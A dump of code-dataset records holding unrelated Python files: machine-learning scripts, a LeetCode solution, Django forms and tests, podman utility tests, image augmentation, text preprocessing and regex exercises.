's_Tr_Hal1F', 's_Tr_PitF', \n's_Tr_StdsC', 's_Tr_StdsF', 's_TRet_AmbF', 's_TRet_StllC', 's_TRet_StllF', 'z_Tr_AmbC', 'z_Tr_GyrreC', 'z_Tr_HalSAPAF', \n'z_Tr_OrchReheF', 'z_Tr_Sng4', 'z_TRet_Bllt', 'z_TRet_Choir', 'z_TRet_CrcC', 'z_TRet_CrcF', 'z_TRet_Hal6F', 'z_TRet_OffiF', \n'z_TRet_R14', 'z_TRet_Store', 'z_TRet_Tech' ]]\n\nx = x.dropna().iloc[0:3371]\ny = y.dropna().iloc[1:]\n\n#print(y.columns)\n#print(x.columns)\n\nforestAux.fit(x,y)\n\ndef predecir(lista):\n return forestAux.predict([lista])","sub_path":"api/monitor/RegressionAux.py","file_name":"RegressionAux.py","file_ext":"py","file_size_in_byte":3756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"344401502","text":"'''\n473. Matchsticks to Square\n\nRemember the story of Little Match Girl? By now, you know exactly what matchsticks the little match girl has, please find out a way you can make one square by using up all those matchsticks. You should not break any stick, but you can link them up, and each matchstick must be used exactly one time.\n\nYour input will be several matchsticks the girl has, represented with their stick length. Your output will either be true or false, to represent whether you could make one square using all the matchsticks the little match girl has.\n\nExample 1:\nInput: [1,1,2,2,2]\nOutput: true\n\nExplanation: You can form a square with length 2, one side of the square came two sticks with length 1.\nExample 2:\nInput: [3,3,3,3,4]\nOutput: false\n\nExplanation: You cannot find a way to form a square with all the matchsticks.\nNote:\nThe length sum of the given matchsticks is in the range of 0 to 10^9.\nThe length of the given matchstick array will not exceed 15.\n'''\nclass Solution(object):\n def makesquare(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: bool\n \"\"\"\n def __directed_dfs(nums, idx, target):\n if idx == len(nums): # use up all the matchsticks\n return True\n for i in range(4): # four sides\n if target[i] >= nums[idx]:\n target[i] -= nums[idx]\n if __directed_dfs(nums, idx + 1, target): # idx move down by 1 ( same as delete 1 mactchstick in nums)\n return True\n target[i] += nums[idx] # not valid, reset and backtrack\n return False\n if len(nums) < 4 or sum(nums) % 4 != 0: return False\n nums.sort(reverse=True)\n target = [sum(nums) // 4] * 4 # use the array to record each side left\n return __directed_dfs(nums, 0, target) # index 0 is the largest value\n\nif __name__ == \"__main__\":\n nums = [1,1,2,2,2]\n nums = [3,3,3,3,4]\n res = Solution().makesquare(nums)\n print(res)\n","sub_path":"473_makesquare.py","file_name":"473_makesquare.py","file_ext":"py","file_size_in_byte":2013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"481524265","text":"import numpy as np\n\n# 设定cell大小\nm, n = 5, 5\ntrain_size = 10000\n# 最低深度\nmin_depth = -5\n# 最高深度\nmax_depth = 10\n\nnp_save = np.random.randint(min_depth, max_depth, (train_size, m, n))\nnp.save(\"cell_x\", np_save)\nprint(np_save.shape)\n\ntask_depth = -5\nnp_save = np.load('cell_x.npy')\n\ncell_grid = np.ones([train_size * 10, m, n])\n\nindex = np.argmax(np_save[0])\nx = int(index / n)\ny = index % n\n\n# 挖掘输出坐标\naction_list_cem = []\nindex_chop = 0\nfor i in range(0, train_size):\n while np_save[i, x, y] > task_depth:\n cell_grid[index_chop] = np_save[i]\n index_chop = index_chop + 1\n action_list_cem.append(index)\n np_save[i, x, y] = task_depth\n index = np.argmax(np_save[i])\n x = int(index / n)\n y = index % n\n if i == 3000:\n break\nprint(len(action_list_cem))\n\nimport torch\nimport torch.nn as nn\nimport torch.utils.data as Data\nimport torchvision # 数据库模块\nimport matplotlib.pyplot as plt\n\n\nclass CNN(nn.Module):\n def __init__(self):\n super(CNN, self).__init__()\n self.conv1 = nn.Sequential( # input shape (1, 32, 32)\n nn.Conv2d(\n in_channels=1, # input height\n out_channels=16, # n_filters\n kernel_size=3, # filter size\n stride=1, # filter movement/step\n padding=1, # 如果想要 con2d 出来的图片长宽没有变化, padding=(kernel_size-1)/2 当 stride=1\n ), # output shape (16, 28, 28)\n nn.ReLU(), # activation\n nn.MaxPool2d(kernel_size=2), # 在 2x2 空间里向下采样, output shape (16, 14, 14)\n )\n self.conv2 = nn.Sequential( # input shape (16, 14, 14)\n nn.Conv2d(16, 32, 3, 1, 1), # output shape (32, 14, 14)\n nn.ReLU(), # activation\n nn.MaxPool2d(kernel_size=2), # output shape (32, 7, 7)\n )\n self.out1 = nn.Linear(32, 128) # fully connected layer, output 10 classes\n self.out = nn.Linear(128, 128)\n self.test = nn.Linear(128, 25)\n\n def forward(self, x):\n x = self.conv1(x)\n x = self.conv2(x)\n x = x.view(x.size(0), -1) # 展平多维的卷积图成 (batch_size, 32 * 7 * 7)\n # 拼接步骤\n\n # print(x.shape)\n # print(y.shape)\n # x = torch.cat([x,y],1)\n\n output = self.out1(x)\n output = self.out(output)\n output = self.test(output)\n return output\n\n\nimport time\n\nEPOCH = 1000\nLR = 0.001 # 学习率\n\ncnn = CNN()\n\noptimizer = torch.optim.Adam(cnn.parameters(), lr=LR) # optimize all cnn parameters\nloss_func = nn.CrossEntropyLoss() # the target label is not one-hotted\nsample_size = len(action_list_cem)\ns_ = np.expand_dims(cell_grid[:sample_size], axis=1)\ntorch_data = torch.Tensor(s_)\n\n# print(cnn(torch_data))\n\nb_y = torch.LongTensor(action_list_cem)\nprint(time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())))\nbacht_size = 40\nfor epoch in range(EPOCH):\n for step in range(0, sample_size - 1000, bacht_size): # 分配 batch data, normalize x when iterate train_loader\n output = cnn(torch_data[step:step + bacht_size]) # cnn output\n loss = loss_func(output, b_y[step:step + bacht_size]) # cross entropy loss\n optimizer.zero_grad() # clear gradients for this training step\n loss.backward() # backpropagation, compute gradients\n optimizer.step() # apply gradients\n\ntorch.save(cnn, 'cem_net.pkl')\nprint(time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())))\n\nindex_re = 60\nindex_start = sample_size - 1000\ntest_output = cnn(torch_data[index_start:(index_start + index_re)])\npred_y = torch.max(test_output, 1)[1].data.numpy().squeeze()\nprint(pred_y, 'prediction number')\nprint(b_y[index_start:(index_start + index_re)].numpy())","sub_path":"tasknet/cem_test.py","file_name":"cem_test.py","file_ext":"py","file_size_in_byte":3803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"611796677","text":"from django.core.urlresolvers import reverse\nfrom django.utils.translation import ugettext_lazy as _\nfrom openstack_dashboard.dashboards.container.auto_scaling.database import database_service\n\nfrom horizon import forms\n\n\nclass AddRuleForm(forms.SelfHandlingForm):\n NUM_CHOICE = [\n ('cpu', _('CPU')),\n ('mem', _('Memory')), ]\n metric = forms.ChoiceField(label=_(\"Metric\"),\n required=True,\n choices=NUM_CHOICE, )\n upper_threshold = forms.CharField(max_length=255, label=_(\"Upper threshold\"),\n required=False)\n lower_threshold = forms.CharField(max_length=255, label=_(\"Lower threshold\"),\n required=False)\n node_up = forms.CharField(max_length=255,\n label=_(\"Number of node will be added when scale out\"),\n required=False)\n node_down = forms.CharField(max_length=255,\n label=_(\"Number of node will be added when scale in\"),\n required=False)\n\n def __init__(self, request, *args, **kwargs):\n super(AddRuleForm, self).__init__(request, *args, **kwargs)\n\n def handle(self, request, data):\n metric = data['metric']\n upper_threshold = data['upper_threshold']\n lower_threshold = data['lower_threshold']\n node_up = data['node_up']\n node_down = data['node_down']\n rule = database_service.Rule(metric = metric,\n upper_threshold = upper_threshold,\n lower_threshold = lower_threshold,\n node_up = node_up,\n node_down = node_down)\n database_service.updateRule(rule)\n return True\n\n def get_success_url(self):\n return reverse(\"horizon:container:auto_scaling:index\")\n\n def get_failure_url(self):\n return reverse(\"horizon:container:auto_scaling:index\")\n","sub_path":"openstack_dashboard/dashboards/container/auto_scaling/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"239501033","text":"def max_even_seq(n):\n cnt=0\n max=0\n snum = str(n) \n for digit in snum:\n if int(digit)%2 == 0:\n cnt = cnt+1\n else:\n cnt=0\n if cnt>max:\n max=cnt\n return (max)\n\n\n\n\n\n","sub_path":"max_even_seq/subs/2017B/59.py","file_name":"59.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"220818169","text":"# PATH=/home/yule/anaconda3/bin:$PATH\nimport pandas as pd \nimport matplotlib.pyplot as plt\nimport numpy as np\n\nclass LinearRegressionGD(object):\n\t\n def __init__(self, eta=0.001, n_iter=20):\n self.eta = eta\n self.n_iter = n_iter\n\n def fit(self, X, y):\n self.w_ = np.zeros(1 + X.shape[1])\n self.cost_ = []\n\n for i in range(self.n_iter):\n output = self.net_input(X)\n errors = (y - output)\n self.w_[1:] += self.eta * X.T.dot(errors)\n self.w_[0] += self.eta * errors.sum()\n cost = (errors**2).sum() / 2.0\n self.cost_.append(cost)\n return self\n\n def net_input(self, X):\n return np.dot(X, self.w_[1:]) + self.w_[0]\n\n def predict(self, X):\n return self.net_input(X)\n\ndf = pd.read_csv('housing.data',header=None,sep='\\s+')\ndf.columns=[\n\t'CRIM','ZN','INDUS','CHAS',\n\t'NOX','RM','AGE','DIS','RAD',\n\t'TAX','PTRATIO','B','LSTAT','MEDV'\n]\nX = df[['RM']].values\ny = df['MEDV'].values\nfrom sklearn.preprocessing import StandardScaler\nsc_x = StandardScaler()\nsc_y = StandardScaler()\nX_std = sc_x.fit_transform(X)\ny_std = sc_y.fit_transform(y[:, np.newaxis]).flatten()\nlr = LinearRegressionGD()\nlr.fit(X_std, y_std)\n\nplt.plot(range(1, lr.n_iter+1), lr.cost_)\nplt.ylabel('SSE')\nplt.xlabel('Epoch')\nplt.tight_layout()\n# plt.savefig('./figures/cost.png', dpi=300)\nplt.show()\n\ndef lin_regplot(X,y,model):\n\tplt.scatter(X,y,c='blue')\n\tplt.plot(X,model.predict(X),color='red')\n\treturn None\n\nlin_regplot(X_std,y_std,lr)\nplt.xlabel('Average number of rooms RM')\nplt.ylabel('Price in $1000/s MEDV')\nplt.show()\n\nnum_rooms_std = sc_x.transform([[5.0]])\nprice_std = lr.predict(num_rooms_std)\nprint(\"Price in $1000's: %.3f\" % sc_y.inverse_transform(price_std))\nprint('SlopeL %.3f' % lr.w_[1])\nprint('Intercept:%.3f' % lr.w_[0])\n\n'''\nPrice in $1000's: 10.840\nSlopeL 0.695\nIntercept:-0.000\n'''\n","sub_path":"Machine Learning - Mofan/Python机器学习-代码/10.3通过梯度下降计算回归参数.py","file_name":"10.3通过梯度下降计算回归参数.py","file_ext":"py","file_size_in_byte":1894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"310356162","text":"MAX_L = 200\n\n# push, pop, empty, size, front, back\n\nimport sys\n\n\nclass Queue:\n\tdef __init__(self):\n\t\tself.L = [0 for i in range(MAX_L)]\n\t\tself.front = 0\n\t\tself.back = -1\n\n\n\tdef push(self, item):\n\t\tself.back += 1\n\t\tif self.back == MAX_L:\n\t\t\tself.back = 0\n\t\tself.L[self.back] = item\n\t\n\tdef pop(self):\n\t\ttmp = self.L[self.front]\n\t\tself.front += 1\n\t\tif self.front == MAX_L:\n\t\t\tself.front = 0\n\t\treturn tmp\n\t\n\tdef empty(self):\n\t\treturn self.back - self.front == -1\n\t\n\tdef size(self):\n\t\tif self.back >= self.front:\n\t\t\treturn (self.back-self.front+1)\n\t\tif self.empty():\n\t\t\treturn 0\n\n\t\treturn (MAX_L+(self.back-self.front+1))\n\n\tdef check_print(self):\n\t\ti = self.front + 1\n\t\tif i == MAX_L:\n\t\t\ti = 0\n\t\twhile (self.\tback != MAX_L-1 and i != self.back+1) or (self.back == MAX_L-1 and i != 0):\n\t\t\tif self.L[self.front][0] < self.L[i][0]:\n\t\t\t\tself.push(self.pop())\n\t\t\t\treturn\n\t\t\tif self.L[self.front][0] >= self.L[i][0]:\n\t\t\t\tif i == self.back:\n\t\t\t\t\treturn (self.pop())\n\t\t\t\t\t\n\t\t\t\n\t\t\ti += 1\n\t\t\tif i == MAX_L:\n\t\t\t\ti = 0\n\n\nQ = Queue()\n\ntc = int(input())\nfor i in range(tc):\n\tL = []\n\tQ.back = Q.front-1\n\tN, M = input().split()\n\tN, M = int(N), int(M)\n\timp = input().split()\n\tl = len(imp)\n\timp = list(map(int, imp))\n\tif imp == [imp[M] for j in range(l)]:\n\t\tprint(M+1)\n\telse:\n\t\tfor j in range(len(imp)):\n\t\t\tQ.push([imp[j], j])\n\t\t\t# Q.push({\n\t\t\t# \t\"value\":int(imp[j]),\n\t\t\t# \t\"index\":j\n\t\t\t# \t})\n\n\t\twhile Q.size() >= 2:\n\t\t\tL.append(Q.check_print())\n\t\t\t\n\n\t\tL.append(Q.pop())\n\t\tL = list(filter(None, L))\n\t\t\n\t\tfor j in range(len(L)):\n\t\t\tif L[j][1] == M:\n\t\t\t\tprint(j+1)\n","sub_path":"2021/class 20/printer.py","file_name":"printer.py","file_ext":"py","file_size_in_byte":1540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"537867812","text":"import pathlib\nimport unittest\nfrom dataclasses import dataclass\nfrom typing import Any, Optional\nfrom unittest import mock\nfrom unittest.mock import Mock, mock_open\n\nfrom podman import api\n\n\nclass TestUtilsCase(unittest.TestCase):\n def test_format_filters(self):\n @dataclass\n class TestCase:\n name: str\n input: Any\n expected: Optional[str]\n\n cases = [\n TestCase(name=\"empty str\", input=\"\", expected=None),\n TestCase(name=\"str\", input=\"reference=fedora\", expected='{\"reference\": [\"fedora\"]}'),\n TestCase(\n name=\"List[str]\", input=[\"reference=fedora\"], expected='{\"reference\": [\"fedora\"]}'\n ),\n TestCase(\n name=\"Dict[str,str]\",\n input={\"reference\": \"fedora\"},\n expected='{\"reference\": [\"fedora\"]}',\n ),\n ]\n\n for case in cases:\n actual = api.format_filters(case.input)\n self.assertEqual(\n case.expected,\n actual,\n f\"failed test {case.name} expected {case.expected}, actual {actual}\",\n )\n\n if actual is not None:\n self.assertIsInstance(actual, str)\n\n def test_dockerignore_404(self):\n actual = api.prepare_dockerignore(\"/does/not/exists\")\n self.assertListEqual([], actual)\n\n @mock.patch(\"os.path.exists\")\n def test_dockerignore_read(self, patch_exists):\n data = r\"\"\"# unittest\n \n #Ignore the logs directory\n logs/\n \n #Ignoring the password file\n passwords.txt\n \n #Ignoring git and cache folders\n .git\n .cache\n \n #Ignoring all the markdown and class files\n *.md\n **/*.class\n \"\"\"\n\n patch_exists.return_value = True\n with mock.patch(\"builtins.open\", mock_open(read_data=data)):\n actual = api.prepare_dockerignore(\".\")\n\n self.assertListEqual(\n actual, [\"logs/\", \"passwords.txt\", \".git\", \".cache\", \"*.md\", \"**/*.class\"]\n )\n patch_exists.assert_called_once_with(\"./.dockerignore\")\n\n @mock.patch(\"os.path.exists\")\n def test_dockerignore_empty(self, patch_exists):\n data = r\"\"\"# unittest\n \"\"\"\n\n patch_exists.return_value = True\n with mock.patch(\"builtins.open\", mock_open(read_data=data)):\n actual = api.prepare_dockerignore(\".\")\n\n self.assertListEqual(actual, [])\n patch_exists.assert_called_once_with(\"./.dockerignore\")\n\n @mock.patch(\"pathlib.Path\", autospec=True)\n def test_dockerfile(self, mock_path):\n mock_parent = mock_path.parent.return_value = Mock()\n mock_parent.samefile.return_value = True\n\n actual = api.prepare_dockerfile(\"/work\", \"/work/Dockerfile\")\n self.assertEqual(actual, \"/work/Dockerfile\")\n mock_path.assert_called()\n\n @mock.patch(\"pathlib.Path\", autospec=True)\n def test_dockerfile(self, mock_path):\n mock_parent = mock_path.parent.return_value = Mock()\n mock_parent.samefile.return_value = True\n\n actual = api.prepare_dockerfile(\"/work\", \"/work/Dockerfile\")\n self.assertEqual(actual, \"/work/Dockerfile\")\n mock_path.assert_called()\n\n @mock.patch(\"shutil.copy2\")\n def test_dockerfile_copy(self, mock_copy):\n mock_copy.return_value = None\n\n with mock.patch.object(pathlib.Path, \"parent\") as mock_parent:\n mock_parent.samefile.return_value = False\n\n actual = api.prepare_dockerfile(\"/work\", \"/home/Dockerfile\")\n self.assertRegex(actual, r\"/work/\\.dockerfile\\..*\")\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"podman/tests/unit/test_api_utils.py","file_name":"test_api_utils.py","file_ext":"py","file_size_in_byte":3708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"540662350","text":"import cv2\nimport random\nimport numpy as np\nfrom image_augmenters.bbox_utility import clip_box\n\nclass RandomScale(object):\n \"\"\"Randomly scales an image\n\n Bounding boxes which have an area of less than 25% in the remaining in the\n transformed image is dropped. The resolution is maintained, and the remaining\n area if any is filled by black color.\n\n Parameters\n ----------\n scale: float or tuple(float)\n if **float**, the image is scaled by a factor drawn\n randomly from a range (1 - `scale` , 1 + `scale`). If **tuple**,\n the `scale` is drawn randomly from values specified by the\n tuple\n\n Returns\n -------\n\n numpy.ndaaray\n Scaled image in the numpy format of shape `HxWxC`\n\n numpy.ndarray\n Tranformed bounding box co-ordinates of the format `n x 4` where n is\n number of bounding boxes and 4 represents `x1,y1,x2,y2` of the box\n\n \"\"\"\n\n def __init__(self, scale = 0.2, diff = False):\n self.scale = scale\n\n\n if type(self.scale) == tuple:\n assert len(self.scale) == 2, \"Invalid range\"\n assert self.scale[0] > -1, \"Scale factor can't be less than -1\"\n assert self.scale[1] > -1, \"Scale factor can't be less than -1\"\n else:\n assert self.scale > 0, \"Please input a positive float\"\n self.scale = (max(-1, -self.scale), self.scale)\n\n self.diff = diff\n\n def __call__(self, img, bboxes):\n #Chose a random digit to scale by\n\n img_shape = img.shape\n\n if self.diff:\n scale_x = random.uniform(*self.scale)\n scale_y = random.uniform(*self.scale)\n else:\n scale_x = random.uniform(*self.scale)\n scale_y = scale_x\n\n resize_scale_x = 1 + scale_x\n resize_scale_y = 1 + scale_y\n\n img= cv2.resize(img, None, fx = resize_scale_x, fy = resize_scale_y)\n\n bboxes[:,:4] *= [resize_scale_x, resize_scale_y, resize_scale_x, resize_scale_y]\n\n\n\n canvas = np.zeros(img_shape, dtype = np.uint8)\n\n y_lim = int(min(resize_scale_y,1)*img_shape[0])\n x_lim = int(min(resize_scale_x,1)*img_shape[1])\n\n canvas[:y_lim,:x_lim,:] = img[:y_lim,:x_lim,:]\n\n img = canvas\n bboxes = clip_box(bboxes, [0,0,1 + img_shape[1], img_shape[0]], 0.25)\n\n\n return img, bboxes\n","sub_path":"data/image_augmenters/random_scale.py","file_name":"random_scale.py","file_ext":"py","file_size_in_byte":2344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"505906489","text":"#!/usr/bin/python\n\nimport json\nimport nltk\nfrom nltk.corpus import stopwords\n\n\"\"\"\nText preprocessing utils\n\"\"\"\ndef clean_text(text, stopwords_list, lemmatizer=None, stemmer=None):\n \"\"\" Preprocessing text:\n - Lowercase\n - Stopword removal\n - Too short words\n - Lemmatizing (using wordnet dictionary is\n recommended)\n - Stemming (e.g., Porter stemmer)\n \"\"\"\n min_length = 2\n tokenized = nltk.wordpunct_tokenize(text.encode('ascii', 'ignore').lower())\n stopword_removed = [word for word in tokenized\n if word not in stopwords_list and len(word) >= min_length]\n if lemmatizer is None:\n return ' '.join(stopword_removed)\n lemmatized = []\n for word in stopword_removed:\n lemmatized.append(lemmatizer.lemmatize(word))\n if stemmer is None:\n return ' '.join(lemmatized)\n stemmed = []\n for word in stopword_removed:\n stemmed.append(stemmer.stem(word))\n return ' '.join(stemmed)\n\ndef parse_mallet_format(file_name):\n \"\"\" Parsing review text for Mallet input\n format:\n Each line of Mallet input:\n \n This input file is used by Mallet's\n importing tool to convert into Mallet's\n InstanceList object.\n\n Ref: http://mallet.cs.umass.edu/import.php\n \"\"\"\n f = open(file_name, 'r')\n stoplist = stopwords.words('english')\n porter = nltk.PorterStemmer()\n lmtzr = nltk.stem.wordnet.WordNetLemmatizer()\n count = 0\n for line in f:\n entity = json.loads(line)\n review_id = entity['review_id']\n review_text = entity['text']\n funny = entity['votes']['funny']\n useful = entity['votes']['useful']\n cool = entity['votes']['cool']\n text = clean_text(review_text, stoplist, lmtzr)\n # Label is in the form of funny, useful, cool counts\n # concatenated\n print ('%s\\t%d%d%d\\t%s' % (review_id, funny, useful, cool, text)),\n print\n count += 1\n if count == 100:\n break\n f.close()\n\nif __name__ == '__main__':\n parse_mallet_format('data/review.json')\n","sub_path":"text_utils.py","file_name":"text_utils.py","file_ext":"py","file_size_in_byte":2144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"432592551","text":"import json\nimport logging\nfrom datetime import timedelta\nfrom unittest import skip\n\nfrom django.db.utils import IntegrityError\nfrom django.forms.models import model_to_dict\nfrom django.test import TestCase\nfrom django.test.utils import override_settings\nfrom django.utils import timezone\n\nfrom sjfnw.grants import constants as gc, models\nfrom sjfnw.grants.modelforms import get_form_for_cycle\nfrom sjfnw.grants.tests import factories\nfrom sjfnw.grants.tests.base import BaseGrantTestCase\nfrom sjfnw.grants.tests.test_apply import BaseGrantFilesTestCase\n\nlogger = logging.getLogger('sjfnw')\n\n@override_settings(MEDIA_ROOT='sjfnw/grants/tests/media/',\n DEFAULT_FILE_STORAGE='django.core.files.storage.FileSystemStorage',\n FILE_UPLOAD_HANDLERS=('django.core.files.uploadhandler.MemoryFileUploadHandler',))\nclass DraftManager(BaseGrantFilesTestCase):\n\n def test_refs(self):\n app = factories.GrantApplication()\n\n collab_refs = json.loads(app.get_narrative_answer('collaboration_references'))\n rj_refs = json.loads(app.get_narrative_answer('racial_justice_references'))\n\n draft = models.DraftGrantApplication.objects.create_from_submitted_app(app)\n contents = json.loads(draft.contents)\n\n self.assertNotIn('racial_justice_references', contents)\n self.assertNotIn('collaboration_references', contents)\n self.assertEqual(contents['racial_justice_references_0'], rj_refs[0]['name'])\n self.assertEqual(contents['racial_justice_references_1'], rj_refs[0]['org'])\n self.assertEqual(contents['racial_justice_references_2'], rj_refs[0]['phone'])\n self.assertEqual(contents['racial_justice_references_3'], rj_refs[0]['email'])\n self.assertEqual(contents['racial_justice_references_4'], rj_refs[1]['name'])\n self.assertEqual(contents['racial_justice_references_5'], rj_refs[1]['org'])\n self.assertEqual(contents['racial_justice_references_6'], rj_refs[1]['phone'])\n self.assertEqual(contents['racial_justice_references_7'], rj_refs[1]['email'])\n self.assertEqual(contents['collaboration_references_0'], collab_refs[0]['name'])\n self.assertEqual(contents['collaboration_references_1'], collab_refs[0]['org'])\n self.assertEqual(contents['collaboration_references_2'], collab_refs[0]['phone'])\n self.assertEqual(contents['collaboration_references_3'], collab_refs[0]['email'])\n self.assertEqual(contents['collaboration_references_4'], collab_refs[1]['name'])\n self.assertEqual(contents['collaboration_references_5'], collab_refs[1]['org'])\n self.assertEqual(contents['collaboration_references_6'], collab_refs[1]['phone'])\n self.assertEqual(contents['collaboration_references_7'], collab_refs[1]['email'])\n\n # get fields & files from draft\n draft_data = json.loads(draft.contents)\n files_data = model_to_dict(draft, fields=draft.file_fields())\n\n # add automated fields\n draft_data['organization'] = draft.organization.pk\n draft_data['grant_cycle'] = draft.grant_cycle.pk\n\n app.delete()\n\n form = get_form_for_cycle(draft.grant_cycle)(draft.grant_cycle, draft_data, files_data)\n if not form.is_valid():\n logger.error(form.errors)\n raise Exception('Expected form to be valid')\n\n\nclass GrantApplication(BaseGrantTestCase):\n\n def test_get_narrative_answer(self):\n app = factories.GrantApplication()\n\n answers = models.NarrativeAnswer.objects.filter(grant_application=app)\n\n self.assert_count(answers, len(gc.STANDARD_NARRATIVES))\n self.assertNotEqual(app.get_narrative_answer('describe_mission'),\n answers.get(cycle_narrative__narrative_question__name='describe_mission'))\n\n @skip('TODO')\n def test_updates_profile(self):\n pass\n\n @skip('TODO')\n def test_doesnt_update_profile(self):\n pass\n\nclass OrganizationGetStaffEntered(TestCase):\n\n def test_none(self):\n org = models.Organization()\n self.assertEqual(org.get_staff_entered_contact_info(), '')\n\n def test_some(self):\n org = models.Organization(staff_contact_person_title='Mx', staff_contact_email='who@what.z')\n self.assertEqual(org.get_staff_entered_contact_info(), 'Mx, who@what.z')\n\n def test_all(self):\n org = models.Organization(\n staff_contact_person='Ray',\n staff_contact_person_title='Mx',\n staff_contact_phone='555-999-4242',\n staff_contact_email='who@what.z'\n )\n self.assertEqual(org.get_staff_entered_contact_info(), 'Ray, Mx, 555-999-4242, who@what.z')\n\n@skip('TODO update')\nclass GranteeReport(BaseGrantTestCase):\n\n projectapp_id = 1\n\n def test_reports_due_two_year(self):\n first_report_due = timezone.now().date() + timedelta(days=9)\n\n award = models.GivingProjectGrant(\n projectapp_id=self.projectapp_id,\n amount=5000,\n second_amount=400,\n first_report_due=first_report_due\n )\n award.save()\n\n reportsdue = award.reports_due()\n\n self.assertEqual(award.grant_length(), 2)\n self.assert_length(reportsdue, 2)\n self.assertEqual(reportsdue[0], first_report_due)\n self.assertEqual(reportsdue[1], first_report_due.replace(year=first_report_due.year + 1))\n\n def test_reports_due_one(self):\n first_report_due = timezone.now().date() + timedelta(days=9)\n\n award = models.GivingProjectGrant(\n projectapp_id=self.projectapp_id,\n amount=5000,\n second_amount=0,\n first_report_due=first_report_due\n )\n award.save()\n\n reportsdue = award.reports_due()\n\n self.assertEqual(award.grant_length(), 1)\n self.assert_length(reportsdue, 1)\n self.assertEqual(reportsdue[0], first_report_due)\n\n def test_reports_due_completed(self):\n first_report_due = timezone.now().date() + timedelta(days=9)\n\n award = models.GivingProjectGrant(\n projectapp_id=self.projectapp_id,\n amount=5000,\n second_amount=0,\n first_report_due=first_report_due\n )\n award.save()\n report = models.GranteeReport(\n giving_project_grant=award, total_size=83, donations_count_prev=6, donations_count=9,\n other_comments='Critical feedback'\n )\n report.save()\n reportsdue = award.reports_due()\n\n self.assertEqual(award.grant_length(), 1)\n self.assert_length(reportsdue, 0)\n\nclass ReportQuestion(BaseGrantTestCase):\n\n def test_defaults(self):\n question = models.ReportQuestion(name='any name', version='v3', text='Answer this')\n self.assertEqual(question.input_type, gc.QuestionTypes.TEXT)\n self.assertEqual(question.word_limit, 750)\n self.assertIsNone(question.archived)\n self.assertEqual(question.display_name(), u'Any Name')\n self.assertEqual(unicode(question), u'Any Name (v3)')\n\nclass ReportAnswer(TestCase):\n\n def test_required_fields(self):\n try:\n answer = models.ReportAnswer()\n answer.save()\n except IntegrityError as err:\n self.assertEqual(err.message,\n 'NOT NULL constraint failed: grants_reportanswer.cycle_report_question_id')\n else:\n logger.warn(model_to_dict(answer))\n raise Exception('Expected ReportAnswer to error without any args')\n\n def test_valid(self):\n award = factories.GivingProjectGrant()\n report = factories.GranteeReport(giving_project_grant=award)\n cycle_report_question = models.CycleReportQuestion.objects.filter(\n grant_cycle=award.projectapp.application.grant_cycle).first()\n answer = models.ReportAnswer(\n cycle_report_question=cycle_report_question,\n grantee_report=report,\n text='Here is my answer'\n )\n self.assertEqual(answer.get_question_text(), cycle_report_question.report_question.text)\n","sub_path":"sjfnw/grants/tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":7449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"218518205","text":"import re\n\n\narchivo = open(\"texto.js\", 'r')\n\ntexto = ''\n\nfor linea in archivo:\n texto += linea\n\n\"\"\"\n asignaciones en js\n\"\"\"\nasignacion = r\"(\\w+( |)=( |)[\\d+\\.\\d+|\\w]+);\"\n\nresultado_asignacion = re.findall(asignacion, texto)\nprint(\"Asignaciones\",resultado_asignacion)\n\"\"\"\n operaciones aritmaticas\n\"\"\"\n\naritmetica = r\"(\\w+( |)=( |)[\\d+\\.\\d+|\\w]+( |)[\\+|\\-|\\/|\\*|\\%]( |)[\\d+\\.\\d+|\\w]+);\"\n\nresultado_aritmetica = re.findall(aritmetica,texto)\nprint(\"Aritmetica\",resultado_aritmetica)\n\n\"\"\"\n Expresiones booleanas básicas\n\"\"\"\nbolean = r\"([\\d+\\.\\d+|\\w]+[ |](\\={2,3}|\\>|\\<|\\!|\\>=|\\<=|\\!=)[ |][\\d+\\.\\d+|\\w]+)\"\nresultado_bolean = re.findall(bolean, texto)\nprint(\"Boleanos \",resultado_bolean)\n\n\"\"\"\t\n Formulas más complejas del tipo c = a op ( b op d)\n\"\"\"\n\ncomplejo = r\"(\\w+( |)=( |)[\\d+\\.\\d+|\\w]+( |)[\\+|\\-|\\/|\\*|\\%]( |)[\\(\\d+\\.\\d+|\\w]+( |)[\\+|\\-|\\/|\\*|\\%]( |)[\\d+\\.\\d+|\\w]+\\));\"\nresultado_complejo = re.findall(complejo, texto)\nprint(\"Operaciones complejas\",resultado_complejo)\n\n\"\"\"\n \tEl encabezado de estructura de control. if, while, for, etc.\n\"\"\"\n\nencabezado = r\"([if|for|while|switch|forEach].*[\\(]\\w.*[\\)])\"\nresultado_encabezado = re.findall(encabezado,texto)\nprint(\"Encabezados \", resultado_encabezado)","sub_path":"ejercicios_5.py","file_name":"ejercicios_5.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"554353824","text":"#!/usr/bin/python3\n# @Author: Safer\n# @Date: 2016-12-01 01:40:55\n# @Last Modified by: Safer\n# @Last Modified time: 2016-12-02 00:02:16\n\nimport sys\nimport res\nfrom PyQt5.QtWidgets import QApplication, QDialog, QPushButton, QToolButton, QLabel, 